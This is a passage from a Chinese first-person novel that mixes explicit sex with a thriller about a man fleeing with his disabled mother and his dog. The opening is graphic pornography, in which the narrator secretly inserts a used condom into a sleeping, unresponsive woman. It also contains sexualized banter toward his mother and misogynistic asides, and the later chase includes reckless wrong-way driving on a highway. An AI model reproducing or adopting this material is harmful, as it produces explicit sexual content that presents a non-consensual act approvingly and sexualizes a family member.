我看到她左手扒开自己的肉唇唇,右手中指开始温柔地揉搓她自己的阴蒂。

我爱看女人手淫。不知道为什么。就是爱看。

可能因为手淫时的女人能让你窥到她最真实的一面。

她在我高密度注视的目光下手淫了一小会儿,就停住,说:“哎呀你进来。

我自己弄不如你弄舒服。”

我说:“不。你自己弄。我爱看。”

她一边手淫一边说:“进来嘛。日我!咱俩一起。啊?”

我插进去,再次感受她温软屄腔对我的贴身包裹。

我专心体验肏一个正在手淫的屄紧紧包裹我鸡巴的感觉。

湿漉漉的,滑溜溜的,滚烫滚烫的,好像插进了满满一罐半溶化的牛油。

我鸡巴每一个表皮细胞都亢奋地接受她的按摩。

她阴道每一个表皮细胞也都亢奋地接受我的鸡巴的按摩。

她阴蒂还被我牵扯着、她G点还被我顶着、她还趟着不用俯卧撑。谁说女的比男的命苦?

如此肉在肉中摩擦生电几百回合,她的血骚屄更热了。

她在屄口舞动的手指时不时刮到我鸡巴根儿。(a老根儿?)

我看着她说:“肏手淫的屄真舒服。肏手淫的血屄真爽。”

她叫唤着说:“你连人家来月经都不放过、你真流氓。阎王,我要被你弄死了……”

我一边狠肏一边竖起她双腿,舔她脚趾、脚趾缝、脚心,同时用手指尖儿挠她光裸、敏感的脚心。

在多重刺激下,她眼泪横流,又哭又笑,浑身扭动着说:“阎王别、别、阎王!我要死了!”

随着她的哭喊,我鸡巴一热。低头一看,一股血染浊尿喷淋我鸡巴上。她被我挠到失禁了。

我把手指塞她嘴里,开始猛攻。

她嗓音沙哑,望着我,含着我的手指,含混不清地纵情呼喊:“阎王,你搞死我吧!你弄死我吧!”

我把鸡巴抽出来,把她翻过去,让她趴着。我从后面肏进去。

我捉住她左手,从底下掏过来按她阴蒂上。

她明白我的用意,开始用左手揉搓豆豆。我肿胀的蛋蛋不断碰到她的左手。

我捉住她右手扭她屁股上,把她中指按她屁眼儿上。

她心领神会,用那根中指轻柔地按摩她自己的肛门。

我在后面一边啪啪猛插,一边低头欣赏熟女自摸屁眼儿的撩人画面。

我牢牢攥住她的白软屁股,把右腿往前迈过去,踏在她右边,本意是更深地刺进她体内。

她居然开始亲吻我的脚趾。

她的嘴唇热热的、软软的。舔得我好痒、好爽。

我把她右手中指用力往下按。她明白我想让她做什么,自己也往手指上加力。

她好看的手指有半截子被她的肛门吞没。

她哼叽着说:“里边儿好痒……”

我问:“里边儿哪儿痒?”

她脑袋顶着座椅靠背,说:“里边儿哪儿都痒……痒死了……”

我说:“荡妇!都哪儿痒?”

她浑身一激灵,屄更紧了,叫声也更响亮了。看来“荡妇”两个字对她大脑沟回有直接搭线效果。

她说:“臭不要脸的痒。屄豆豆痒。屁眼子痒。”

我彪悍地肏着荡妇的屄,一下一下拱她屄芯子。左手加盟她的左手,一起蹂躏她湿了呱嗒的屄豆子。

她哆嗦着呻吟。

我右手隔着她毛衣解开她乳罩钩子,绕到她前胸,探她毛衣里,大把攥她奶子。

怕她着凉,没扒光她上身。她的奶子中等大小,细嫩绵软,奶头子傻呵呵挺立,十分饱满。

我一边肏她屄、一边残忍捻搓她大奶头子。

她哆嗦着第三次达到高潮,屁股上、奶子上沁出一层热汗。

我兽性大发,不容她喘息,突然把她双臂都反过来,死死攥住,她的胳膊肘被我攥得紧紧贴在一起。

女人在那种时刻居然有那么强的柔韧性。

我开始真正撞钟。冲刺式的。一秒两次。光头鸡巴在她三次高潮的滑溜血屄里彻底癫狂。

我揪着她头发对她说:“骚屄我日死你!我日烂你这臭不要脸的!”

她被我肏得嗷嗷乱叫。叫声在车厢里回荡。头发完全散乱。

忽然,我感到她阴道再次猛烈收缩!这轮的收缩强度之大,让我始料不及。

我感觉今儿我的鸡巴就交待这儿了,肯定是腰斩。

五秒后听到她道歉式的哭喊:“我没忍住~我没忍住!”

她耸着肩膀哭。可能是内疚自责,可能是喜极而泣。高潮收缩还没结束,道德就已经把她推上审判席了。可怜的女人。

我很清楚我快要到临界点了,眼瞅要射,赶紧把鸡巴抽出来,不再插进去。

她半扭过头,我看到她的嘴唇松弛了,软软的。看来,这母狗今儿是真爽了。

我抱着她,喘着粗气问她:“荡妇到四回了?”

她点头:“是。以前从来没有过!”

我摸着她被我搞得滑溜溜的屄,问:“这四回,哪回最舒服?”

她说:“都特舒服。第一回尖锐。最后这次最强烈。感觉特深,好像从大海底下发出来的似的。”

我问:“海啸?”

她说:“我也说不好……”

她的屄刚才被我嘬干净,现在里面又满了,动情的黏液、经血,乱七八糟什么都有。

我把手指顶进她的屄,贪婪地玩弄。

她哆嗦着推开我的手,颤音说:“受不了了……别再弄了……”

说完,她沉沉睡去,不省人事。

我轻轻为她盖上外衣外套,躺在她旁边儿,亲吻她脸蛋。

我把鸡巴上的套子摘下来。这套子外边挂着湿淋淋的她的半透明黏液和经血,里面已经攒了好多我在鏖战中无意中分泌的黏液。

我把这套子塞进她湿淋淋的血屄。她毫无反应。

仔细看看她。鼾声均匀,像全麻患者,像睡着了,整个一滩烂泥。我不敢再动,不敢发出其它声音。

八分钟后,一滩烂泥恢复了90%的体力和思考能力,但这90%还不足以让她发觉凹屄里的套子。

我俩懒洋洋穿上各自的裤子、袜子、鞋子。

她的脸比刚才更红了,颧骨红透,亮亮的。看上去有了光彩,整个人靓多了。

她是真的激情澎湃了,彻底放纵了一把,连荷尔蒙分泌量都提升了。

她问:“我是不是太淫荡了?”

我说:“真实的女人更美。懂得珍惜自己的女人更美。偶尔淫一下就淫一下呗,人非圣贤,孰能不淫?”

她难为情地用手捋好头发,对我说:“我平时不这样的。”

我说:“我相信你。”

竖起座椅,我说我送你回去。她说好啊。

我发动车子。车走回小土路、又拐上大路。

忽然她睁大眼睛说:“你还没射呢!”

我说:“嗯对。坏蛋到了九段,最惦记的事儿是泄女人,不是泄自己。”

她说:“别啊,这多不合适呀!”

我笑了,说:“没关系。真的。甭客气。”

她说:“算我欠你的。下回吧。你来取车的时候找我。我天天在。”

我说:“呵呵,再说吧。”

她还在感慨:“从没碰到过你这样的男人!”

我说:“现在你碰到了。”

车到汽修厂大门。我停住,说:“我还进去么?我甭进去了吧?”

她说:“对。好。”

她坐着不动,目光湿湿的,像怀了孕的母狗,饱含企盼,欲言又止,明显舍不得我走。

我看着她。她脸上的红还没退下去。

她望着我说:“我从来没内样儿过。”

我点头说:“我知道。你是好女人。”

她说:“我是。我检点,规矩,从不乱来。”

我说:“知道了。回家熬一小锅枸杞红糖姜水趁热喝。对自己好点儿。”

她微笑,手放在车门上,说:“嗯。你真体贴。”

我说:“不,我是坏蛋。”

她说:“你是体贴的坏蛋。下回我带你去牛屄王朝。”

我说:“好啊。”

她说:“我得下去了。”

我说:“好。我也得办事儿去了。”

她的手第二次放在车门上,说:“我让他们给你的车好好做保养。”

我说:“呵呵。对了,等你身子利落了,带闺女去麦当劳。”

她点点头说:“你真好。”

我说:“不,我坏。”

她说:“对,你是大坏蛋来着。”

她的手第三次放在车门上,忽然对我说:“你的车明天就能取!”

我说:“我这两天下一期杂志正好出片子、定封面,特忙,明天未必能来。”

她迟疑着,在我脸上轻轻亲了一下,柔声说“等你来”,然后慢慢推开车门,下了车。

我给油、走人。

世上最危险的事儿拢共不超过十个,跟陌生女人纠缠排名第三。在没保护的情况下跟毒蛇玩才排第八。

(其它的呢?等a8有时间,慢慢跟你聊)

一路紧张地扫后视镜。一直没发现没牌照黑色a8或其它可疑车辆。

绕了N多圈儿后,我还是觉得不放心,瞅右手有一单位大院儿,门口挂一木牌,上书:“内部停车”。门口没人把守。

我突然掰进去,把车停妥锁上,走出停车场,打了一“现代”。

司机是一四五十岁老男人,胖乎乎的,很有经验,先起步、后问我:“您上哪儿?”

我看丫面相有点儿恶,无奈车已起步,只好硬着头皮说:“xcv大街,n wz小区。”(街名、小区名隐去)

我魂不守舍,紧张地回头看车后,尽量扫视每一辆车,看款式、车身眼色和牌照,但始终没再见那辆无牌照a8.一路上,司机对我絮絮叨叨,跟我讲趴活儿有多苦、讲丫前列腺炎、离开车什么体力活儿都干不了。

我一概不答话,时不时扭头看后风挡。亡命狼不跟任何人聊闲天。他开车,我付钱,仅此而已。

到站,我给钱、下车,躲小区雪人后头观看周围。没有可疑车辆。

我走进一家餐馆,里面有七、八桌客人在用餐。伙计看见我,不卑不亢打招呼。

我朝他点点头,径直走进后头卫生间。卫生间里空无一人。我走进隔断间,关上门。后边有一扇小窗,铝合金推拉的,上面贴着发黄的报纸。

膀胱痠胀半天了,我解开拉链,掏出鸡巴,等着开闸的工夫给妈妈打电话。

一声没接。两声没接。

多年来,我养成了一个雷打不动的习惯:大小便必仔细观察,以洞察我肉躯内部之波澜。

如果你不关心你自己的身体,你指望谁来关心?你的身体不是取之不尽的能源库,而是逐渐衰竭中的臭皮囊。

还没人接。不会出什么事儿吧?

来了。来了。尿下来了。不料还没出尿,龟头一股刺痛!灼热!钻心的灼热。

谁拿一铁丝捅我尿道内感觉。

使劲放松泌尿系统肌肉群,终于尿出来了,但很艰难,尿流细长,而且尿道里边一直火烧火燎的。

妈妈终于接听了,但音质不佳,肯定又是拿脚按的免提。

我尽量平静地说:“妈,我到您楼下了。您下来吧,我带您去一家墨西哥餐厅。”

妈妈和平时一样,慵懒地说:“哟!今儿什么日子啊?”

我紧张地对着手机说:“您带上我给您办的那些卡,再带上阿彪,别的都别带。我就不上去了。”

妈妈说:“你这唱的哪出儿啊这是?”

我说:“赶紧的。”

妈妈说:“喔,好吧。你等我三分钟。”

我挂断电话。尿一直稀稀拉拉滴答着,直到不再有尿液流出,我却没有“尿完”的感觉。

甩两下鸡巴,刚要往里收,忽然发现两小滴尿被甩到扶鸡那手的虎口上,竟然是奶白色!这可是我头一回。

我浑身一激灵,赶紧低头仔细观瞧。便池里我的热尿混浊不堪,比淘米水还混,比刚吃了维生素还黄。

以前我的尿一向特清亮啊,什么问题都没有。靠!我三十多岁就都尿里含精啦?还是我纵欲过度?

我喝水太少?开车太久?我插了什么不该插的人导致尿路感染?还是刚才吓的?

我居然也已经大会不发言小会不发言前列腺发炎了?

这时,忽然听见一个人走进卫生间,直接拽我隔断间的门把手。

我立刻心跳加速,赶紧给鸡巴草草掖进裤子,打开小后窗钻出去,落地瞬间就势一溜滚,然后站起来,撒腿往小区大门跑。

外面的空气干冷,吸进肺里很难受。

此时感觉一股残余部队流出来了,裤衩、秋裤被淋得精湿,瓦凉瓦凉的。

都说“人过五十三,裤裆常不干”,可我离五十三还远着呢!

我不断回头看后边。没人跟出来。也许是巧合?一老哥纯内急?

我右手伸进怀里,表面上极端放松,暗地里攥紧乌钢甩棍,全身筋肉紧张到极限,一触即发。

正午,我居然看见一只肥肥的白狗紧紧追赶一只瘦瘦的黑猫,在无人的马路上来回来去暴蹿、狂吠瞎咬。

我觉得十分他妈不详。

妈妈还没出来。女人出门就是磨蹭。

忽然想起第一次给妈妈洗袜子。那会儿我才几岁啊?小学几年级来着?

我脱下妈妈的袜子,本来是想证明我懂事儿了、能分担家务了。

我看着手里那双白线袜。脚腕子以上都挺干净的,脚掌部位颜色略暗略黄,沤了一天。

我拿起来放鼻子下闻,觉特好闻。至今不明白当年我一小男孩为什么要闻妈妈穿过的袜子。

我觉得恋足是天生的。一切都是命。一切的一切,都源自基因。莫非我爸妈恋足?

一出租过来,空的。我抬手叫停。这回是捷达。我猫腰钻进去。

还是车里暖和呀。屁股还没落座,车已经起步了。

我说:“嘿嘿嘿!让你走了么就走?!”

司机赶紧刹车。

我紧紧盯着小区里头。

妈妈还没出来。我心急如焚啊,前后左右看了又看,困兽似的。

司机给我递过来一根儿烟,被我推回去。瞎套什么瓷?

不认识的人给我上烟,我一概不接。所以我a8横走江湖能走到今天。

司机拿点烟器自己要点,我立刻制止:“哎你先忍会儿!”

司机只好放下。

这时候,阿彪蹿出来了。

我赶紧下车,打开后排车门。阿彪看见我,歪脑袋愣了一下神,还是认出我,噌一下扑进车厢。

妈妈穿着我前年给买的裘皮大衣慢慢走出小区大门。没胳膊走冰雪地面,格外容易滑倒。

我赶紧过去搀着妈妈,一边搀扶一边紧张地四下巡视,十足一保镖。

帮妈妈坐后排,坐妥后,关上门,看看四周,未见异常,钻进副驾。

司机问:“大叔咱上哪儿?”

头回听人跟我叫这称呼。我特不适应。我都成这么老的老家雀儿了?

我说:“mpt”(地名隐去)

妈妈问我:“你车呢?被扣啦?”

我说:“送修了。”

妈妈问:“是不是撞人啦?”

我说:“没。瞧您说的。”

妈妈问:“怎么滚这么一身雪啊?又跟井茶打架啦?”

我说:“盼我点儿好儿成么?”

司机哑然拣乐儿,还插话说:“您二老还真能逗闷子。”

我瞪他一眼。他老实了,踏踏实实开他车。

听到“您二老”这称呼,我心里忽悠一动,感觉怪怪的,有点儿缺氧,跟喝了似的,飘飘然,大脑要当机。

妈妈肯定也有感觉。

短暂冷场后,妈妈柔声说:“我还寻思呢,吃一顿饭不至于这么大动静啊。

哎你小朋友呢?不带上一块儿?”

我说:“嗨,她还是忙,请不下假来。她忙她的。”

妈妈说:“你别嫌我唠叨。你真得好好考虑成家大事儿了。”

听了这个,司机偷眼乜斜我,这回没敢搭茬儿,他心里肯定在想这二老到底啥关系~

出租到了mpt,我结帐给钱,搀妈妈下车,阿彪虎头虎脑窜出来,围着我转,兴奋得全身直抖。

我搀着妈妈走进那家单位停车场,阿彪跟着,换上那辆代步车,锁好车门。

阿彪坐后座、妈妈坐副驾。

我点火起步。

妈妈问:“你真没撞人?”

我说:“妈您放心。您儿子啥时候骗过您?”

妈妈问:“你公司那边那么忙,你怎么大中午的能出来?”

我说:“挣钱不是目的。快乐才是目的。人生苦短,要及时行乐、要玩儿要开心,您说呢?”

妈妈扭头望着我,冷静地问:“咱要跑路对不对?”

我说:“其实这他我嗯啊……”

妈妈说:“我早看出来了。告诉我到底出了什么事儿?”

我说:“没事儿。真的。”

来到停车场门口,一中年妇女嗑着瓜籽儿走过来站在我车头右前方,指着门口的“内部停车”牌子冲我叨唠叨唠,俗不可耐。

干你娘!我猛一脚油。那女的吓一跳。我挠着地嚎叫着飞出大门、冲下坡道、紧接一右转弯儿,上了大马路。

阿彪在后座上被惯性甩得一摘歪。妈妈平衡不佳,更是一歪,整个人扎我怀里。

妈妈起身安慰阿彪说:“彪,不怕啊,不怕。爸爸带咱开心去……”

我专心驾驶,并不废话,心里明镜儿似的:我们现在踏上的,正是一条不归路。

到了内家墨西哥餐厅门口,我停好车,搀妈妈走下车,把阿彪锁车里。

餐厅里人不少,但并不喧嚣。

神秘香气、典雅家具、厚重桌布、墨西哥风格的油画(天知道跟高更的塔希

提岛系列有啥区别)、虚无缥缈似是而非的背景音乐,让你误以为进入了神秘高贵的异国皇家大内。

原本大嗓门的小资进了这儿,受了环境氛围的感染和暗示作用,奴性爆发,终于学会轻声细语了。靠!真不容易!

我原来一直以为国人进餐的时候根本做不到轻声细语的!

服务员迎上来,问:“几位?”

我说:“俩。有无烟区么?”

引位把我们引到无烟区一个空位上。

我和妈妈坐定,点的香汁大虾、菲希塔铁板烧、多提亚酱汁面饼、墨西哥椒盐煎牛扒、墨西哥披萨、Taco沙拉、Burrito、Nachos、加勒比海鲜汤。

等菜的时候,我在默默盘算着把妈妈送我爸那儿、让我爸担负起他的责任。

但很快意识到不可行。

我爸跟他情儿在小窝甜蜜蜜,心思根本不在我妈身上。他不可能照顾我妈。

多少年了,他对我妈哪还有一丁点儿耐心?

三人关系不稳定。我妈早晚被挤兑走。要把妈送爸那儿,还不如把妈扔大马路上。

我们的饭先后上来了,一看,色香味还真不赖。我喂妈妈吃一口、自己吃一口,专心致志,餐馆里其他人全羽化了、声音都淡出了。

这一刻,世界只剩下我和妈妈。

我眼睛里没别人。其他人都不存在。我脑子里也只有妈妈。今生我还能有更多机会照料妈妈么?

莫力香辣酱让我和妈妈吃得都哈哈猛吸冷气,跟狗似的。辣得够威够力,爽!

我拿纸巾给妈妈擦去额头上的汗水。

妈妈脱掉鞋子,举起俩腿,用光脚夹住刀叉,非要自己吃。

我说不行,天儿冷,着凉还得去医院、屁屁打针。妈妈不听,非自己弄。妈妈有自尊。

在公共场合,她格外不情愿像个“废物”似的被伺候。

她愿意向世界展示:她能自己生存。

我看看周围。很多用餐者在斜着眼睛看我们这桌,同时低声窃窃私语。

对这些我早习以为常。做女人难,做老女人更难,一个被丈夫抛弃的老残女人,生活中的甘苦谁能体会?

我跟妈妈说我要去趟洗手间,之后起身奔总台,问最近的ATM机在哪儿。

服务员说出门左拐就有一台。

我出了门,到ATM取出相当多的现金,看看四周,没人。

我把钱揣包里,揪出几张,从后门走回餐厅,进入操作间。

操作间说进就进来了。管理松懈!

我奔白帽子最高的走过去,瞄见他胸前的黄铜胸卡上写着“Sam”。(人名虚构。地球人都直道)

我说:“Sam?”

他一惊,抬头问我:“先生您什么事儿?”

我说:“你这儿的牛肉和骨头给我来点儿。我们家阿彪饭量比较大。”

我把内几张钞票塞他口袋里(具体几张?面值多少?谁在乎?也许这是我给阿彪准备的最后一餐。)

他给我弄了一大不锈钢盆的生牛肉外加几块大骨头,端给我。

我说:“好,再来几个馒头。”

他说:“先生,我们这儿没馒头,有面饼。”

我说行。他拿两大张面饼,撕碎碎,撒进不锈钢盆里,还加了一些肉汤。

我端着满满一盆走出后门,到停车场,把这一大盆放车门旁边雪地上,打开车门。

阿彪窜出来,兴奋得围着我转一圈(这是多年来的礼数,多饿都先跟主人蹭蹭),然后摆开架势,开始呱呱暴殄。

阿彪的腰身瘦了。以前多健壮啊,每根毛都油亮亮的。

如果我出事儿,以后谁照顾他?

我一阵心酸。

阿彪吃他的。我走回餐厅,落座继续吃。

我脑子里想着:公司到底被谁暗算?阴间说“拿”我到底什么时辰?上午内神秘a8谁派来的?要干啥?……

妈妈问:“特干?”(音gān)

我说:“嗯?特干?您想喝波尔多特干?”

妈妈暗笑,说:“你便秘?”

我问:“谁便秘啊?”

妈妈说:“还以为你掉茅坑里了呢。”

我说:“谁去厕所了?”

妈妈说:“你啊。”

我说:“我没去。”

妈妈问:“那你嘛去了?去这老半天。”

我干吗去了?

我说:“我忘了。”

妈妈无声微笑,以为我逗她,但事实上我真想不起来了。

我有点儿惊恐。衰老袭来,比我想的更可怕。

我俩继续吃。吃着吃着,妈妈对我低声说:“内桌儿内男的,看见了么?四十多岁,谢顶内个!”

我顺着方向望过去,果然看到靠窗那桌有一个四十多岁谢顶男在看着我。见我看他,他立即垂下眼帘,不敢再看我。

我大脑内存里迅速展开搜索:以前见过这人么?

我觉得他的确有点儿眼熟。什么场合见过这人?他叫什么?干什么的?对我有威胁么?

我拼命回想,却发现我一丁点儿都想不起来。

以前我脑子多好使啊!现在脑子里所有记忆都是断点,如珍珠项链被戈兹拉扯断珠子洒一地,谁跟谁都连不到一块儿。

我低声对妈妈说:“我看见了。怎么了他?”

妈妈低声说:“他一直在看你。”

我吃一块椒盐煎牛扒,说:“喔,可能刚放出来吧?”

妈妈吃一口Taco沙拉,低声说:“什么呀?肯定是没见过你这么帅的帅哥!他要再敢看你一眼,我就过去跟他说嘚说嘚. ”

我都这肏形了,在妈妈心中,我还是一帅哥。一没胳膊五十岁女人要为我去干架,要挺身过去质问一陌生人,我很感动。

我搂着妈妈秃肩膀,低声说:“好了,乖,这么浪漫的餐厅,何必动气?出门在外,别太较真。”

妈妈怒气难平,还在跟内男的凶狠犯照,十足一健壮母兽。

我吃一只香汁大虾,嘬嘬手指头,对妈妈说:“要不我现在过去抽丫一顿?”

妈妈噗嗤笑了,低声说:“算了……”

我一边亲妈妈脸蛋一边低声说:“乖!内色狼看的不是我,是我身边儿这大骚货。他闻见腥味儿都硬了~”

妈妈脸上有点儿不自然。我再亲妈妈的脸。妈妈的脸皮开始明显升温了。

每个女人都是骚货。

(a8话糙理正。谁暂时接受不了没关系。再过三十年,你会同意a8今天说的话)

我盯着内男的,朝丫眨眼睛,挑逗丫的。内丫居然羞答答低下头、偶尔抬眼偷看我们这边儿,黄脸飞红(我没说煌菲虹)。

明白了,敢情是这么个情况。

我埋头专心吃我的墨西哥椒盐煎牛扒,但余光意识到妈妈一边吃一边跟内男的犯照。

她是在保护儿子?还是向外拓展魅力空间?

我边吃边继续搜索内存,可死活想不起来到底在哪儿见过内家伙。也许前世见过?

我才三十多,正当年,记忆力就这么差,以后我可怎办?

妈妈柔声提醒我说:“彪还饿着呢。”

我说:“是啊。咱赶紧的。妈您吃好了么?”

妈妈说:“嗯,吃好了。这地儿不错。”

结帐之后,我俩起身。我给妈妈穿上外衣,搂着妈妈走向餐厅大门。

我给妈妈掀起门帘子、我妈还没迈出去,外头一孙子一猫腰淄溜钻进来,蹭了妈妈一下。

妈妈苦笑,自言自语:“素质。”

内愣头青为啥蹭我妈?我回头看他,刚巧他也回头来,狠狠刮我一眼。我好像在哪儿见过他!


06-01
在哪儿来着?在哪儿?带小骚货去的公园?不是。在老K咖啡?实在想不起来了。

唉哟他妈的!谁动了我的大脑?!(向SpencerJohnson致敬)

此地不祥,不可久留。我心里紧张,表面上还得从容镇定,搀妈妈小碎步往前走,不敢流露出惊慌。

搀着妈妈从餐厅出来,走向停车处,见阿彪站车旁边,守一不锈钢空盆。

妈一看,立刻问:“车门怎么开了?彪!谁喂你吃的?!”

阿彪舔着舌头站车旁边,雄赳赳气昂昂守卫着,心满意足望着我们。

我看看周围,也跟着紧张起来。我们阿彪打小就不吃陌生人给的吃食儿。

我自言自语说:“今儿个怎么了?撞邪了?”

我蹲下去,掰着阿彪脑袋仔细查看,嘴角、眼神都未见任何异常。

他的嘴已经干干净净,眼神一如既往的忠心耿耿,无可置疑。

我忽然想起来,然后告诉妈妈是我开的车门、是我喂的狗。妈妈惊恐地望着我,像看一素昧平生的陌路人。

我让阿彪进后座,再扶妈妈上车(坐副驾),帮妈扣好安全带。

妈妈问:“宝,你最近怎么了?啊?妈害怕。”

我点火着车,看着前方说:“我也怕。光怕没用。得面对。”

我给油猛跑,向北向北向北,一古脑儿奔北。

车窗外,道路两旁,到处矗立着大方铅块儿似的楼宇,铁灰、凝重、肃穆、高高的、没人性。

我居住的这城市,树是越来越少了,仅剩的还被变态的园林师傅剪得跟电线杆子似的那么秃。

我戴上蓝牙,用遥控器拨号,同时指着窗外说:“我就肏所有园林局的傻屄们!既然想要水泥杆子似的树,干吗不直接栽水泥杆子?何必戕害这么多树?!

妈了屄的园林局的!给你们丫上肢都剪秃喽你们丫谁干?!肏!“妈妈善良地问:“你这给园林局打电话呢?”

我说:“没。不是。”

电话接通了。我问:“现在什么情况?”

财务在那边儿紧张地说:“a总!出事儿了!我内天就有预感,就想跟您说,您急着出去……”

妈妈在我旁边,我不能多说,怕妈妈担心。

我说:“赶紧。拣要紧的说。”

财务说:“公司被封了,调查的入驻了,副总逮起来了。现在全乱套了。我不知道这都怎么回子事儿……”

没说完,忽然有电话要插入。我挂了财务的,接进插入的。是老K:“你丫跟哪儿呢?”

我冷静说:“跟海南呢,蜈之洲岛。”

我也跟老K似的,修炼得说瞎话面不改色。

妈妈在旁边不屑地说:“切,张嘴就来!”

我腾出右手捂住妈妈的嘴唇。妈妈顺势向前探上身、借机亲吻我的手心。妈妈的嘴唇温热,软软的。

我脑子跟蓝牙里,左手把着方向盘,脚下给油,右手给妈妈,盯着风挡前头,兼顾着后视镜。

没有异常情况。

老K的语调和往常一样,说:“我可说正经的呢。”

我说:“说。”

老K问我:“爽呐?”

我说:“没。”

老K说:“打你公司,说你没去。”

我说:“嗯对。”

老K说:“是不又找内小骚货去了?”

我说:“没。”

老K在那边儿冷笑说:“你没去?哈,全中国都乐了!”

我说:“你丫有屁快放。”

老K说:“过来K歌儿。”

“过来K歌儿”是他爱说的一句黑线P的意思,而且表示他已经把“果儿”搞定了。

我能感觉到他在那边儿坏笑,坏水从他每一个毛囊往外渗漏。

多年经验和教训教会了我:越是烦躁的时候越要心静,越是烦躁,说话做事越要慎重。

我从妈妈嘴唇边收回右手,好好开车,对着蓝牙那边儿的老K说:“你K先。

一会儿你改振动,我给你K过去。”

他在那边儿奸笑。

我说:“挂了啊。我晒太阳去了。”

我挂断蓝牙。

妈妈看着风挡外的冰天雪地,问:“咱要上海南?”

我说:“不,就郊区,散散心。”

妈妈说:“哦。那你干吗跟人撒谎呀?”

我说:“老说大实话,白开水似的,多没劲啊?”

妈妈问:“咱去几天啊?”

我说:“再看吧。也许三、两天?谁知道。”

妈妈叹一口气,貌似放松下来,说:“喔,那还让妈带上所有的卡?看你今天这么紧张,我还以为咱要逃命去呢。”

我没再多说话。

妈妈在很多时候有点儿像帅克、有点儿像阿甘。

“大智若愚”的“智”和“愚”之间,界限到底在哪儿?谁也说不清。但我知道,很多时候,聪明就是傻,傻就是聪明。

天开始擦黑儿了,其实刚四点多。

车顶云层里埋伏着四千万吨硬雪,憋着不下。时候未到。

车外这种浑不啦叽的光线是我最不喜欢的。

我最烦在这种时候开车。费眼睛。到处黑不拉叽,什么都看不清楚。可没辙。

事已至此,我还能选择什么?

我掰进高速,一直扫着后视镜。路上的车少得瘆人。

刚放松一会儿,阿彪忽然发出怪声音。

我赶紧看后视镜,后头啥时候冒出来一黑色a8?

这回车牌倒有,但被一张红底儿金字的“百年同心”遮住,一个号码都没露出来。

我心里一紧。

跑出两、三公里,再看后视镜,丫还赖不叽跟着我。

跑出八、九公里,丫始终不紧不慢跟着我。我脑袋大了。

我收油,想趁丫超过我的时候看看丫车里是些什么人。

嘿!丫也收油!

我加速,丫立马加速,跟我始终保持二十米车距,而且不断用大灯晃我。

邪屄了嘿!我跑中间道,左右两道都没车呀。

丫什么意思?我掰到最慢道,不再给油,看丫怎么处理。

丫也跟着掰最慢道,贴我后头,车速也慢下来。

忽然之间,风挡模糊了。刚才勉强能看见的风景看不到了。看看左右,明白是外头下雾了。

车前车后大雾弥漫,能见度撑死二十米。那a8始终跟在我后边。我中道他中道。我加速他加速。这感觉很不爽。

天色越发地暗下来,我不得不开大灯。

跑啊跑,怎么也找不到出口。怎么回事儿?

我逐渐给油加速,时速已超过一百六,那a8始终贴我二十米。看得出来,丫是一把跟车好手。

我不知道这车性能如何,不敢爆表。

看看里程表,见鬼!都跑出二百多公里了。下一出口掰出去吧。

噌噌噌!又是五十多公里招呼出去了。还是没有出口。无论我怎么跑,也看不到出口!

三公里过去了。没有出口。那a8还咬着我。

八公里过去了。没有出口。那a8还咬着我。此时,他针对我的恶意已经昭然若揭。

二十公里过去了。还是没有出口。那a8始终贴我后头不断用大灯晃我,晃得我心慌意乱。

看不到任何指路牌。我的心开始嘭噔!嘭噔!!雾越来越浓,可见度只剩五米。前后左右什么都看不见。

我一边开车一边频频观看后视镜。

浓雾当中,能看到一对远光灯在执著地晃我,像一大男孩恶作剧冲我邪恶地神经质地眨眼睛。

天已经完全黑下来。我打开所有能打开的车灯,包括雾灯。

那a8跟我的车距已不足五米,气势汹汹,朝我一窜一窜的。

我快疯了。妈妈已经紧张地说不出话。阿彪如临大敌,紧张地一直朝后头狂吠。

我一边开车,一边试图安慰阿彪:“好了,彪!没事儿的。他逗咱玩儿呢。”

其实我这话是说给妈妈听的。

我往死里一脚地板油,顺带扫一眼中控,却看到了我最害怕看到的画面:油表亮红灯了!

我心脏狂跳,赶紧打开远光灯、盯着右边。还是没有出口。

狗急了跳墙、兔子急了咬人。

可如果你跟高速里,你只能干着急。后面的a8开始变本加厉拿大灯晃我,我被晃得晕头转向、烦躁不堪。

正在此时,只听后面的a8一声喇叭轰然炸响,比火车汽笛还高三十分贝。

妈妈浑身一哆嗦。

我也吓一跳,真要崩溃了!

不行了!再也受不了了!余光看见左边隔离带有一空档,我当时没反应过来。

一眨眼开出去两公里,我忽然提醒自己:刚才的隔离带有一空档?!

我猛然加速。时速到二百了,我大喊一声:“都坐好喽!”

然后猛一把朝左边掰轮儿,瞬间把车掰到最快道,往左打轮儿的同时狠狠一脚紧急刹车。

时速二百的情况下,刹车片吱吱叫着、白热化摩擦着。

车速锐减,眼瞅着时速指针往下掉。

后面内孙子始料不及,在惯性带动下一下从我右边飞出去,拉着带急刹车。

丫怎么也想不到,我闪过丫之后,关了所有车灯,原地掉头,嘎崩利落脆,同时猛给油,沿原路逆行往回跑。

风挡里夜雾浓稠如特伦苏,我什么都看不见。

我已经豁出去了。当对手根本不打算活,惊恐的就换成你。

我顶着浓浓大雾,豁着胆子黑着灯逆行往回开,后视镜里不再有车灯。

丫掉头不如我灵活。再说了,丫挺的有我开车技术好?

我咬着冷冷的牙,暗下决心:如果对面来第二辆a8,我就撞沉吉野!我还不瓦全了,肏!

与其躲避,不如肏他妈面对!要杀要剐痛快点儿!

我瞪圆眼珠子,轧着最快道一路逆行狂奔。邪门了。迎头方向一直没车。这是xxx高速么?

摸黑跑啊跑,回到隔离带空档处,空档大约五米左右。我毫不犹豫一把轮儿钻过去,终于不再逆行。

窜过去的瞬间我扫了一眼后视镜。还好!后头没车。

我继续紧张地扫着后视镜。后视镜里没看到a8.我长出一口气,但脚下不敢松懈,车灯还是不敢开。我更加猖獗地狂踩地板油,丧心病狂。

我知道,油箱见了底儿,我跑不了多远了。我心悸,继续找加油站。可哪有加油站啊?

此前我痛恨的大红屋顶,此刻在我心里显得异常可爱,但是目力所及的范围内,一个也没有啊。

我适当松点儿油门,车速降到九十,走最慢道。这条高速上开始出现一两辆小轿车,嗖嗖超过我,都是正常车辆。

妈妈说:“刚才吓死我了~怎么回事儿?”

我说:“没事儿。我碰上a8,总会飙一把的。”

终于见一出口。我来不及细想,赶紧掰出去。

掰出去才从视觉暂留上读出路牌上有个“断”字,好像还有个“头”字~一开始我没当回事儿,觉得只要能出高速就有救。

看看后视镜。没有车跟着我。我放松下来,打开车灯,慢慢开。

没走多远,有一加油站。我呼出一口恶气,开进去,停车,虚脱在驾驶席上。

加油站空空荡荡,一人没有。办公室亮着灯。

阿彪伸过头来舔我。我没劲儿搭理他。

